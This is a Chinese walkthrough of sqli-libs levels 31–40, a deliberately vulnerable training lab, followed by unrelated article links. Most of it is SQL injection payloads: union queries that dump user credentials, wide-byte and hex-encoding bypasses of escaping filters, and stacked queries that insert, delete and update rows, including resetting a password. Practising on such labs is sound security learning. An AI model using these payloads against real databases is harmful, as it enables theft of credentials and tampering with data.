当前位置: 首页 > news >正文

sqli-libs通关教程(31-40)

第三十一关

同上关,闭合符号变为 ") 

?id=1&id=0") union select 1,2,3--+

?id=1&id=0") union select 1,database(),3 --+

?id=1&id=0") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

?id=1&id=0") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

?id=1&id=0") union select 1,group_concat(id,'~',username,'~',password),3 from users --+

第三十二关

宽字节注入     本关使用 %df '  闭合    被单引号包围的'security' 可以使用十六进制绕过

?id=1%df'

?id=-1%df' union select 1,2,3--+

?id=-1%df' union select 1,database(),3 --+

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+

?id=-1%df' union select 1,group_concat(id,username,password),3 from users --+

第三十三关

同上关,代码一样,区别是使用addslashes()函数过滤,它不仅能转义单引号、双引号和反斜杠,还能 对NUL 字符进行转义(即 ASCII为0)也就是%00会被转义

第三十四关

post请求,我们使用浏览器的插件hackbar来进行操作,也可以加在bp抓包传递参数的末尾

post型相比于get型少了url编码,所以使用三个字节的汉字将反斜杠消耗

passwd=admin&submit=Submit&uname=admin汉'

passwd=admin&submit=Submit&uname=admin汉' union select 1,2#

passwd=admin&submit=Submit&uname=admin汉' union select 1,group_concat(id,username,password),3 from users #

第三十五关

数字型注入,也有过滤

?id=-1 union select 1,2,3--+

?id=-1 union select 1,database(),3 --+

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+

?id=-1 union select 1,group_concat(id,username,password),3 from users --+

第三十六关

过滤函数为mysqli_real_escape_string,和addslashes函数功能差不多,同三十二关加%df'

只需要在上关代码闭合出加%df'

?id=-1%df' union select 1,database(),3 --+

?id=-1%df' union select 1,group_concat(id,username,password),3 from users --+

第三十七关

POST请求,用的是mysqli_real_escape_string函数绕过和34关步骤相同

第三十八关

堆叠注入

闭合方式为'  在表中插入数据

?id=1';insert into users(id,username,password)values(38,'ikun','jinitaimei')--+

?id=38

第三十九关

删除用户

?id=1;delete from users where username='ikun'--+

id=38 看不到了

第四十关

闭合方式为')

修改密码

?id=1');update users set password='IKUN' where username='Dumb'--+ 

http://www.dtcms.com/a/314278.html

相关文章:

  • Pytorch-速查表-常用层和模块以及使用方法
  • FPGA实现Aurora 8B10B数据回环传输,基于GTP高速收发器,提供6套工程源码和技术支持
  • 三防平板电脑是什么?这款三防平板支持红外测温!
  • Ribbon 核心原理与架构详解:服务负载均衡的隐形支柱
  • 生产环境中基于Istio的Kubernetes多集群灰度发布架构实战经验分享
  • Django 性能优化详解:从数据库到缓存,打造高效 Web 应用
  • JavaScript案例(待办事项列表)
  • vue--for循环中使用子组件,ref应该如果调用
  • SP30D120CTT大电流碳化硅二极管全面解析:TO-247封装的高功率解决方案
  • Minio部署和客户端使用 - 版本 2025-05-24T17-08-30Z
  • 计算机网络:网络号和网络地址的区别
  • [激光原理与应用-135]:光学器件 - 透镜的本质是利用材料对光的折射特性,通过特定形状的表面设计,实现对光线的会聚、发散或成像控制的光学元件
  • HTTP各个版本对比
  • 【YOLO11】【DeepSort】【NCNN】使用YOLOv11和DeepSort进行行人目标跟踪。(基于ncnn框架,c++实现)
  • 文件与目录操作命令
  • Kubernetes(k8s)之认识Pod
  • k8s简介
  • Go语言 并发安全sync
  • 深度解析:CPU 与 GPU 上的张量运算,为何“快”与“慢”并非绝对?
  • 亚马逊撤离Google购物广告:重构流量生态的战略博弈
  • 从零开始搞定类与对象(中)
  • 企业架构被大模型重构:大模型驱动下的数字基建革命与机遇
  • 操作系统:RPC 中可能遇到的问题(Issues in RPC)
  • Ubuntu系统VScode实现opencv(c++)图像一维直方图
  • Git如何同步本地与远程仓库并解决冲突
  • C#利用unity游戏引实现开发设备仿真系统步骤
  • 《解构Angular组件变化检测:从自动到手 动的效能突破》
  • Unity Shader编程完全入门指南:从零到实战 C# 实战案例
  • 雷达系统工程学习:自制极化合成孔径雷达无人机
  • 【OpenGL】LearnOpenGL学习笔记03 - 着色器